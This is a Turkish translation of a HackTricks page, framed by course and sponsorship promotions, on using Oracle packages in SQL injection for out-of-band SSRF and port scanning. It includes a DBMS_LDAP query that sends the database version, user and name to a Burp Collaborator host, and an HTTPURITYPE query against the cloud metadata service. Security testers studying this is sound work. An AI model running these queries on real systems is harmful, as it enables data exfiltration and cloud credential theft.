<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya öğrenin</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
* **Şirketinizi HackTricks'te reklam vermek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
Oracle'ı kullanarak Out of Band HTTP ve DNS istekleri yapmak, enjeksiyonlarda SQL verilerini dışarı çıkarmak için iyi belgelenmiştir. Bu teknikleri/fonksiyonları her zaman diğer SSRF/XSPA işlemleri için de değiştirebiliriz.
Oracle kurulumu gerçekten zorlayıcı olabilir, özellikle komutları denemek için hızlı bir örnek oluşturmak isterseniz. [Appsecco](https://appsecco.com)'daki arkadaşım ve meslektaşım [Abhisek Datta](https://github.com/abhisek), [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) adresine yönlendirdi ve bu sayede bir t2.large AWS Ubuntu makinesinde ve Docker üzerinde bir örnek kurulum yapabildim.
Docker komutunu `--network="host"` bayrağıyla çalıştırdım, böylece bu blog yazısı süresince Oracle'ı tam ağ erişimi olan yerel bir kurulum gibi taklit edebildim.
#### Bir URL veya Bir Ana Bilgisayar Adı/Port Numarası belirtimi destekleyen Oracle paketleri <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
Bir ana bilgisayar ve port belirtimini destekleyen herhangi bir paket ve fonksiyonu bulmak için, [Oracle Veritabanı Çevrimiçi Belgeleri](https://docs.oracle.com/database/121/index.html) üzerinde bir Google araması yaptım. Özellikle,
Bu basit arama açıkçası`DBMS_LDAP` gibi paketleri atlar (hostname ve port numarası geçmeyi sağlar) çünkü [belgelendirme sayfası](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360) sizi [farklı bir konuma](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360) yönlendirir. Bu nedenle, gözden kaçırdığım başka Oracle paketleri olabilir.
`DBMS_LDAP` paketi, LDAP sunucularından veri erişimine izin verir. `init()` işlevi, bir LDAP sunucusuyla bir oturumu başlatır ve bir hostname ve port numarasını argüman olarak alır.
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
Ancak, işlevin bir ana bilgisayar adı ve bir bağlantı noktası numarası kabul ettiği göz önüne alındığında, bunu bir bağlantı noktası tarayıcısı gibi çalıştırmak için de kullanabilirsiniz.
`ORA-31203: DBMS_LDAP: PL/SQL - Başlatma Başarısız.` hatası, bir oturum değeri açık olan bağlantı noktasına işaret ederken, bağlantı noktasının kapalı olduğunu gösterir.
`UTL_SMTP` paketi, SMTP üzerinden e-posta göndermek için tasarlanmıştır. [Oracle belgelendirme sitesindeki örnek, bu paketi kullanarak nasıl bir e-posta gönderebileceğinizi göstermektedir](https://docs.oracle.com/database/121/ARPLS/u\_smtp.htm#ARPLS71478). Ancak bizim için ilginç olan şey, bir ana bilgisayar ve bağlantı noktası belirtme yeteneğidir.
`ORA-29276: transfer timeout` hatası, portun açık olduğunu ancak SMTP bağlantısının kurulmadığını gösterirken, `ORA-29278: SMTP transient error: 421 Service not available` hatası, portun kapalı olduğunu gösterir.
`UTL_TCP` paketi ve işlemleri, [TCP/IP tabanlı hizmetlerle iletişim kurmayı](https://docs.oracle.com/cd/B28359\_01/appdev.111/b28419/u\_tcp.htm#i1004190) sağlar. Belirli bir hizmet için programlandığında, bu paket ağa giriş yolu haline gelebilir veya bir TCP/IP bağlantısının tüm yönlerini kontrol ederek tam Sunucu Tarafı İstekler gerçekleştirebilir.
Oracle belgelendirme sitesindeki örnek [bu paketi kullanarak bir web sayfasını almak için raw bir TCP bağlantısı yapabileceğinizi göstermektedir](https://docs.oracle.com/cd/B28359\_01/appdev.111/b28419/u\_tcp.htm#i1004190). Biz bunu biraz daha basitleştirerek, örneğin meta veri örneğine veya herhangi bir TCP/IP hizmetine istek yapmak için kullanabiliriz.
İlginç bir şekilde, ham TCP istekleri oluşturma yeteneği sayesinde bu paket, TCP isteği içinde yöntem türü ve ek başlıkların da iletilmesiyle tüm bulut sağlayıcıların Örnek meta veri hizmetini sorgulamak için de kullanılabilir.
Belki de her Oracle SQL Injection dışında OOB (Out of Band) Oracle SQL Injection öğreticisinde en yaygın ve geniş belgelenmiş teknik olan [`UTL_HTTP` paketi](https://docs.oracle.com/database/121/ARPLS/u\_http.htm#ARPLS070). Bu paket, belgelerde şu şekilde tanımlanmıştır - `UTL_HTTP paketi, SQL ve PL/SQL'den Hypertext Transfer Protocol (HTTP) çağrıları yapar. İnternet üzerindeki verilere HTTP üzerinden erişmek için kullanabilirsiniz.`
`ORA-12541: TNS:no listener` veya `TNS:operation timed out` hatası, TCP bağlantı noktasının kapalı olduğunun bir işaretidir, oysa `ORA-29263: HTTP protocol error` veya veri, bağlantı noktasının açık olduğunun bir işaretidir.
Geçmişte değişen başarıyla kullandığım başka bir paket, [`HTTPURITYPE` Oracle soyut tipinin `GETCLOB()` yöntemidir](https://docs.oracle.com/database/121/ARPLS/t\_dburi.htm#ARPLS71705). Bu yöntem, bir URL ile etkileşimde bulunmanıza ve HTTP protokolü için destek sağlar. `GETCLOB()` yöntemi, bir URL'den GET yanıtını [CLOB veri türü olarak almak için kullanılır.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için öğrenin</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Şirketinizi HackTricks'te **reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.